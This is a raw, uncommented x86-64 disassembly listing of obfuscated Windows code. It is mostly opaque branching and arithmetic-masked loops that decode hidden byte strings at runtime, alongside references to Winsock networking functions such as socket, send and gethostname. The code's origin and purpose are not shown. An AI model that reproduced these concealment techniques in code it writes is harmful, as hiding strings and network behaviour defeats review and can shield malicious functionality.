movzx eax, dl
and al, r8b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400867e9
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14008664b
movzx r11d, r10b
lea ecx, [r11 + 4]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140086790
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1400863e8
movzx r11d, r10b
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140086745
movzx r11d, r10b
lea edx, [r11 + 0x30]
movzx eax, dl
and al, r8b
add al, al
movzx edi, r8b
sub dil, al
sub dil, 0x50
add dil, r8b
add dil, dl
jmp 0x140086790
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140086819
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r8b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140086133
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r8b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14008681c
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x26
dec r10
inc r10
jmp 0x140086133
movzx r11d, r10b
lea edx, [r11 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add r11b, 0x12
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x7e
add r11b, r8b
mov byte [rbp + r10 + 0x150], r11b
inc r9
dec r10
inc r10
jmp 0x140086133
movzx r11d, r10b
lea edx, [r11 - 0x7a]
mov ecx, 0x2b
movzx eax, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add r11b, 0x4e
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x22
add r11b, dil
add r11b, r8b
mov byte [rbp + r10 + 0x150], r11b
add rbx, r9
jmp 0x1400867e9
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 6
add rbx, r9
jmp 0x1400867e9
lea rcx, [r10 + rsi]
movzx eax, cl
and al, r11b
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x62
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140086133
lea rdx, [r10 + r12]
movzx eax, dl
and al, r11b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r8b
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0x150], al
inc r9
add rax, r9
sub r10, rax
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r8b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0x150], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140086133
lea rcx, [r10 + r14]
movzx eax, cl
and al, r11b
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x76
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140086133
sub r10b, 0x6a
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea edi, [r8 + r10]
sub dil, 0x1a
jmp 0x140086130
add r10b, 0x5a
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea edi, [r8 + r10]
sub dil, 0x76
jmp 0x140086120
lea rcx, [rbp + 0x15b7578]
jmp 0x140086910
lea rcx, [rbp + 0x14bfd96]
jmp 0x140086910
lea rcx, [rbp + 0x150]
lea rdx, [0x1401dd731]
call fcn.14003a4c0
mov byte [rbp + 0x270], 0x51
mov byte [rbp + 0x271], 0x7f
mov byte [rbp + 0x272], WSASetLastError
mov byte [rbp + 0x273], 0x75
mov byte [rbp + 0x274], 0x7c
mov byte [rbp + 0x275], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x276], 0x26
mov byte [rbp + 0x277], 0x5b
mov byte [rbp + 0x278], 0x7d
mov byte [rbp + 0x279], 0x8a
mov byte [rbp + 0x27a], 0x8e
mov byte [rbp + 0x27b], 0x62
mov byte [rbp + 0x27c], WSACleanup
mov byte [rbp + 0x27d], 0x7e
mov byte [rbp + 0x27e], 0x63
mov byte [rbp + 0x27f], 0x1f
xor eax, eax
mov qword [rbp + 0x280], rax
mov dword [rbp + 0x288], eax
mov word [rbp + 0x28c], ax
mov byte [rbp + 0x28e], al
movabs rsi, 0x832ce044117b2402
movabs r14, 0x8986a0cc34716c06
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x1f
jae 0x1400874db
movzx r9d, byte [rbp + r10 + 0x270]
mov rdx, r9
nop word [rax + rax]
cmp rbx, r10
ja 0x1400874cf
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140086a1c
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0xe
jmp 0x140086a63
je 0x140087461
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008742b
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400873e6
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400873c1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140087399
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14008734b
cmp r8, r10
ja 0x1400874c6
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140086a94
lea edx, [r10 + 0x2a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x26
add dil, dl
jmp 0x140086ae0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008732e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008730c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400872fa
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400872db
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400872ad
nop word [rax + rax]
lea rax, [rbx + r8]
cmp rax, r10
jbe 0x14008703a
nop dword [rax]
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14008701a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140086ff5
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140086fd3
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140086fb3
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140086f97
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140086f78
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140086f58
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140086f39
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140086f08
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140086af0
mov rbx, rax
lea r8, [rax + 0x1000]
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400874a9
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14008748c
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140086ce1
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140086cc2
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140086ca3
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140086eb7
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140086e6a
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140086e25
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140086dfe
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140086af0
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140086dd0
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140086db1
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140086d91
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140086d72
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140086d64
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140086d52
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140086d44
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140086d1f
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140086cff
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140086af0
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0xa]
jmp 0x140086af0
lea edx, [r10 + 0x16]
movzx eax, r9b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140086ae0
lea edx, [r10 + 0x12]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7e
add dil, dl
jmp 0x140086a63
lea edx, [r10 + 0xe]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dl, 0x62
add dil, dl
jmp 0x1400869e7
lea edx, [r10 + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x30
movzx r11d, r10b
jmp 0x140087366
lea ecx, [r10 + 0x4c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x14
inc r8
dec r10
inc r10
jmp 0x1400869d4
lea edx, [r10 + 0x48]
mov ecx, 4
jmp 0x1400873ca
lea edx, [r10 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx r11d, r10b
jmp 0x1400873f3
lea edx, [r10 + 0x40]
mov ecx, 0x20
jmp 0x140087434
lea edx, [r10 + 0x3c]
movzx eax, r9b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140087448
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x140087235
lea edx, [r10 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
add dil, dl
jmp 0x140087266
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
movzx eax, byte [rbp + r10 + 0x270]
add rax, r8
add r10, rax
inc r10
jmp 0x1400869d4
lea ecx, [r10 + 0x26]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xa
mov byte [rbp + r10 + 0x270], dil
inc r10
jmp 0x1400869d4
lea edx, [r10 + 0x22]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 0x10
jb 0x140086e15
movzx r11d, r10b
lea edx, [r11 - 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x28]
jmp 0x140087369
lea edx, [r10 + 0x1e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp rbx, 0x20
jae 0x1400871f9
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14008716c
lea edx, [r10 - 0x5c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7c
jmp 0x140086e3c
lea edx, [r10 + 0x1a]
movzx eax, r9b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea rax, [rbx + r8]
cmp rax, 0x61
je 0x14008721d
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x140087111
lea edx, [r10 + 0x7a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x56
jmp 0x140086e81
lea edx, [r10 - 4]
movzx eax, r9b
and al, dl
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x270]
add rax, r8
add r10, rax
inc r10
jmp 0x1400869d4
lea edx, [r10 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140087266
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140087235
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140087448
lea ecx, [r10 - 0x14]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x74
jmp 0x140087445
movzx r11d, r10b
lea edx, [r11 - 0x18]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x58
jmp 0x140087401
lea ecx, [r10 - 0x1c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3c
dec r10
inc r10
jmp 0x1400869d4
lea ecx, [r10 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x1400869d4
movzx r11d, r10b
lea edx, [r11 - 0x24]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 4
jmp 0x140087366
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x14008705f
lea edx, [r10 + 2]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xe
jmp 0x140086ece
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140087096
lea ecx, [r10 + 0x54]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r10 + 0x270]
add rax, r8
add r10, rax
inc r10
jmp 0x1400869d4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400870ad
lea edx, [r10 + 0x64]
mov ecx, 0x22
jmp 0x140087434
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400870c8
movzx r11d, r10b
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400873f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400870df
lea edx, [r10 + 0x6c]
mov ecx, 6
jmp 0x1400873ca
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140086ed1
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x1400869d4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008713a
movzx r11d, r10b
lea edx, [r11 + 0x7e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x72
jmp 0x140087366
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140087151
lea edx, [r10 - 0x7a]
mov ecx, 0x2b
jmp 0x1400873ca
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140086e84
lea edx, [r10 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x140087434
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400871a6
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x270]
add rax, r8
add r10, rax
inc r10
jmp 0x1400869d4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400871cc
movzx r11d, r10b
lea edx, [r11 - 0x50]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140087235
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140086e3f
movzx r11d, r10b
lea edx, [r11 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
jmp 0x140087366
movzx r11d, r10b
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x270]
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
jmp 0x140087401
movzx r11d, r10b
lea edx, [r11 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x2a
movzx eax, r11b
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x270], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x270], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x270]
add rax, r8
add r10, rax
inc r10
jmp 0x1400869d4
lea ecx, [r10 + 0x4e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x22
movzx eax, byte [rbp + r10 + 0x270]
add rax, r8
add r10, rax
inc r10
jmp 0x1400869d4
lea edx, [r10 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140087448
movzx r11d, r10b
lea edx, [r11 + 0x3a]
mov ecx, gethostname
jmp 0x1400873f3
lea ecx, [r10 + 0x36]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7a
dec r10
inc r10
jmp 0x1400869d4
movzx r11d, r10b
lea edx, [r11 + 0x2e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x42
jmp 0x140087366
movzx r11d, r10b
lea edx, [r11 + 0x26]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xa
add dil, dl
sub r11b, 0x32
movzx eax, r11b
and al, r9b
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x270], cl
inc r8
dec r10
inc r10
jmp 0x1400869d4
lea edx, [r10 + 0x22]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x1400869d4
lea edx, [r10 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x1400869d4
movzx r11d, r10b
lea edx, [r11 + 0x1a]
mov ecx, 0x25
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r11b, 0x2e
movzx eax, r11b
and al, r9b
mov ecx, 0x21
sub cl, al
add cl, cl
add cl, r11b
add cl, dil
add cl, r9b
mov byte [rbp + r10 + 0x270], cl
jmp 0x140087445
lea edx, [r10 + 0x16]
mov ecx, 0x33
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400869d4
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x2a
movzx eax, byte [rbp + r10 + 0x270]
add rax, r8
add r10, rax
inc r10
jmp 0x1400869d4
add r10b, 0xa
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x46
jmp 0x1400869d1
add r10b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
jmp 0x1400869c1
lea rcx, [rbp + 0x17c33c8]
jmp 0x1400874e2
lea rcx, [rbp + 0x13757ca]
jmp 0x1400874e2
lea rcx, [rbp + 0x270]
lea rdx, [0x1401db6cd]
call fcn.14003a4c0
mov byte [rbp + 0x230], 0x75
mov byte [rbp + 0x231], 0xaf
mov byte [rbp + 0x232], __WSAFDIsSet
mov byte [rbp + 0x233], __WSAFDIsSet
mov byte [rbp + 0x234], 0xa8
mov byte [rbp + 0x235], 0x90
mov byte [rbp + 0x236], 0x56
mov byte [rbp + 0x237], 0x80
mov byte [rbp + 0x238], 0x8d
mov byte [rbp + 0x239], 0x88
mov byte [rbp + 0x23a], 0xba
mov byte [rbp + 0x23b], 0xb4
mov byte [rbp + 0x23c], 0xb2
mov byte [rbp + 0x23d], 0x2d
xor eax, eax
mov dword [rbp + 0x23e], eax
mov word [rbp + 0x242], ax
mov byte [rbp + 0x244], al
movabs rsi, 0x9fae64dd49973088
movabs r14, 0x9d218bc79650b4c8
movabs r15, 0xdf0b2e97dcc59198
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x15
jae 0x140087f2c
movzx r9d, byte [rbp + r10 + 0x230]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140087f20
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400875ec
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x48
jmp 0x140087620
je 0x140087eac
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140087e7f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140087e5d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140087e1c
nop dword [rax]
cmp r8, r10
ja 0x140087f14
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x14008764e
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x140087682
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140087dd1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140087db0
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140087d4f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140087d22
lea rax, [rbx + r8]
cmp rax, r10
jbe 0x1400879ed
nop
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400879ce
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400879a7
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140087988
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008797a
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008795f
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008792e
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x400]
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140087ef7
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140087ed7
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400877bf
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400877a4
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400878e1
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14008789d
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140087870
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140087862
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140087843
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140087824
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400877ff
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400877da
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 8]
jmp 0x140087690
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x140087620
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x1400875b6
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x1400875a3
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x1400875a3
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140087e93
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
movzx edx, r10b
jmp 0x140087cf5
lea edx, [r10 - 0x30]
mov ecx, 0x28
jmp 0x140087d58
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x1400875a3
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
cmp r8, 0x61
jb 0x140087caa
movzx r11d, r10b
lea edx, [r11 + 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140087def
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 2
jae 0x140087cba
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x140087bd8
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400878b3
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x1400875a3
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140087d69
lea edx, [r10 - 0x50]
mov ecx, 0x18
jmp 0x140087e66
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
movzx r11d, r10b
jmp 0x140087e36
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x1400875a3
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
movzx r11d, r10b
jmp 0x140087def
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140087a3f
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [rbx + r8]
cmp rax, 9
je 0x140087ce1
lea rcx, [r8 + 4]
cmp rbx, rcx
jbe 0x140087b05
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400878f0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140087a75
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
movzx eax, byte [rbp + r10 + 0x230]
add rax, r8
add r10, rax
inc r10
jmp 0x1400875a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140087a90
lea edx, [r10 + 0x60]
mov ecx, 0x30
jmp 0x140087d58
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140087ab8
movzx r11d, r10b
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140087e36
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140087ae6
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400875a3
lea rax, [r8 + 7]
